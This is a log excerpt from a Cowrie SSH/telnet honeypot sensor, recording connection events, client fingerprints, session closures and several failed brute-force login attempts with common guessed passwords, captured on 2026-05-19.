{"eventid":"cowrie.session.closed","duration":35.663132667541504,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:23.705762Z","src_ip":"192.119.13.58","session":"09ce064a2d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":58050,"dst_ip":"159.203.135.109","dst_port":22,"session":"e83715ecec72","protocol":"ssh","message":"New connection: 89.223.69.22:58050 (159.203.135.109:22) [session: e83715ecec72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:30.832622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:30.837393Z","src_ip":"89.223.69.22","session":"e83715ecec72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:30.949822Z","src_ip":"89.223.69.22","session":"e83715ecec72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thunder","message":"login attempt [root/thunder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:31.288381Z","src_ip":"89.223.69.22","session":"e83715ecec72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:32.403199Z","src_ip":"89.223.69.22","session":"e83715ecec72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55872,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7cd410aef2","protocol":"telnet","message":"New connection: 192.119.13.58:55872 (10.17.0.5:23) [session: fa7cd410aef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:39.247041Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42480,"dst_ip":"10.17.0.5","dst_port":23,"session":"64203d51387a","protocol":"telnet","message":"New connection: 192.119.13.58:42480 (10.17.0.5:23) [session: 64203d51387a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:43.183767Z"}
{"eventid":"cowrie.session.closed","duration":36.11223578453064,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:43.949514Z","src_ip":"192.119.13.58","session":"b67d28bba8a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41074,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e48efeeadab","protocol":"telnet","message":"New connection: 192.119.13.58:41074 (10.17.0.5:23) [session: 8e48efeeadab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:50.766063Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46222,"dst_ip":"10.17.0.5","dst_port":23,"session":"25281e8ad41d","protocol":"telnet","message":"New connection: 192.119.13.58:46222 (10.17.0.5:23) [session: 25281e8ad41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:52.294047Z"}
{"eventid":"cowrie.session.closed","duration":39.08669638633728,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:54.660780Z","src_ip":"192.119.13.58","session":"d2156889fae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":45818,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2a4b5cb1c6d","protocol":"ssh","message":"New connection: 193.228.128.84:45818 (10.17.0.5:22) [session: b2a4b5cb1c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:58.704961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:58.709931Z","src_ip":"193.228.128.84","session":"b2a4b5cb1c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43214,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d24935c57be","protocol":"telnet","message":"New connection: 192.119.13.58:43214 (10.17.0.5:23) [session: 1d24935c57be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:58.815440Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:58.819409Z","src_ip":"193.228.128.84","session":"b2a4b5cb1c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a111111","message":"login attempt [root/a111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:04:59.126415Z","src_ip":"193.228.128.84","session":"b2a4b5cb1c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:00.232495Z","src_ip":"193.228.128.84","session":"b2a4b5cb1c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.92197346687317,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:02.297486Z","src_ip":"192.119.13.58","session":"d77e0923e7d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33378,"dst_ip":"10.17.0.5","dst_port":22,"session":"d90033901569","protocol":"ssh","message":"New connection: 80.94.92.184:33378 (10.17.0.5:22) [session: d90033901569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:03.244556Z"}
{"eventid":"cowrie.session.closed","duration":51.67858576774597,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:03.426235Z","src_ip":"192.119.13.58","session":"1048145b8ce5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:03.559493Z","src_ip":"80.94.92.184","session":"d90033901569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:03.567972Z","src_ip":"80.94.92.184","session":"d90033901569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:05.053732Z","src_ip":"80.94.92.184","session":"d90033901569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36994,"dst_ip":"159.203.135.109","dst_port":22,"session":"187b03697f31","protocol":"ssh","message":"New connection: 103.195.236.96:36994 (159.203.135.109:22) [session: 187b03697f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:05.550123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:05.562440Z","src_ip":"103.195.236.96","session":"187b03697f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:05.799396Z","src_ip":"103.195.236.96","session":"187b03697f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:06.324770Z","src_ip":"80.94.92.184","session":"d90033901569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888","message":"login attempt [root/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:06.762545Z","src_ip":"103.195.236.96","session":"187b03697f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:08.009874Z","src_ip":"103.195.236.96","session":"187b03697f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":42912,"dst_ip":"10.17.0.5","dst_port":22,"session":"f61917fba506","protocol":"ssh","message":"New connection: 185.236.22.41:42912 (10.17.0.5:22) [session: f61917fba506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:09.897047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:09.906061Z","src_ip":"185.236.22.41","session":"f61917fba506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:10.027795Z","src_ip":"185.236.22.41","session":"f61917fba506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2001","message":"login attempt [root/artem2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:10.742829Z","src_ip":"185.236.22.41","session":"f61917fba506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33700,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab381fa4dbae","protocol":"telnet","message":"New connection: 192.119.13.58:33700 (10.17.0.5:23) [session: ab381fa4dbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:11.362056Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:11.888129Z","src_ip":"185.236.22.41","session":"f61917fba506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42556,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd7483e01dd7","protocol":"telnet","message":"New connection: 192.119.13.58:42556 (10.17.0.5:23) [session: dd7483e01dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:14.009220Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44906,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a14ba5b8461","protocol":"telnet","message":"New connection: 192.119.13.58:44906 (10.17.0.5:23) [session: 8a14ba5b8461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:14.853154Z"}
{"eventid":"cowrie.session.closed","duration":31.784205436706543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:14.967881Z","src_ip":"192.119.13.58","session":"64203d51387a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.89582538604736,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:23.142766Z","src_ip":"192.119.13.58","session":"fa7cd410aef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46712,"dst_ip":"10.17.0.5","dst_port":23,"session":"74caae54a9d1","protocol":"telnet","message":"New connection: 192.119.13.58:46712 (10.17.0.5:23) [session: 74caae54a9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:23.229023Z"}
{"eventid":"cowrie.session.closed","duration":42.02380037307739,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:32.789727Z","src_ip":"192.119.13.58","session":"8e48efeeadab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45980,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dd9f81a7750","protocol":"telnet","message":"New connection: 192.119.13.58:45980 (10.17.0.5:23) [session: 0dd9f81a7750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:34.710568Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51516,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8359d8bb9d2","protocol":"telnet","message":"New connection: 192.119.13.58:51516 (10.17.0.5:23) [session: a8359d8bb9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:36.407296Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58682,"dst_ip":"10.17.0.5","dst_port":23,"session":"990e0fde393d","protocol":"telnet","message":"New connection: 192.119.13.58:58682 (10.17.0.5:23) [session: 990e0fde393d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:38.567573Z"}
{"eventid":"cowrie.session.closed","duration":47.49773573875427,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:39.791708Z","src_ip":"192.119.13.58","session":"25281e8ad41d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42248,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7e1d1903cb","protocol":"telnet","message":"New connection: 192.119.13.58:42248 (10.17.0.5:23) [session: fa7e1d1903cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:43.154303Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50472,"dst_ip":"10.17.0.5","dst_port":23,"session":"a48cc65860eb","protocol":"telnet","message":"New connection: 192.119.13.58:50472 (10.17.0.5:23) [session: a48cc65860eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:45.250411Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51776,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2038de46a7","protocol":"telnet","message":"New connection: 192.119.13.58:51776 (10.17.0.5:23) [session: 7c2038de46a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:45.737462Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52448,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b0eac104b3d","protocol":"telnet","message":"New connection: 192.119.13.58:52448 (10.17.0.5:23) [session: 2b0eac104b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:45.965316Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55372,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5d9f5980bd3","protocol":"telnet","message":"New connection: 192.119.13.58:55372 (10.17.0.5:23) [session: f5d9f5980bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:47.041866Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56526,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b17e7bdeb2","protocol":"telnet","message":"New connection: 192.119.13.58:56526 (10.17.0.5:23) [session: 59b17e7bdeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:47.519909Z"}
{"eventid":"cowrie.session.closed","duration":53.81833219528198,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:52.633654Z","src_ip":"192.119.13.58","session":"1d24935c57be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41796,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a36aa92bd5","protocol":"telnet","message":"New connection: 192.119.13.58:41796 (10.17.0.5:23) [session: 92a36aa92bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:52.704428Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43360,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae102ae7290","protocol":"telnet","message":"New connection: 192.119.13.58:43360 (10.17.0.5:23) [session: 6ae102ae7290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:53.263913Z"}
{"eventid":"cowrie.session.closed","duration":39.2902352809906,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:53.299225Z","src_ip":"192.119.13.58","session":"dd7483e01dd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.466142416000366,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:05:54.828111Z","src_ip":"192.119.13.58","session":"ab381fa4dbae","protocol":"telnet"}
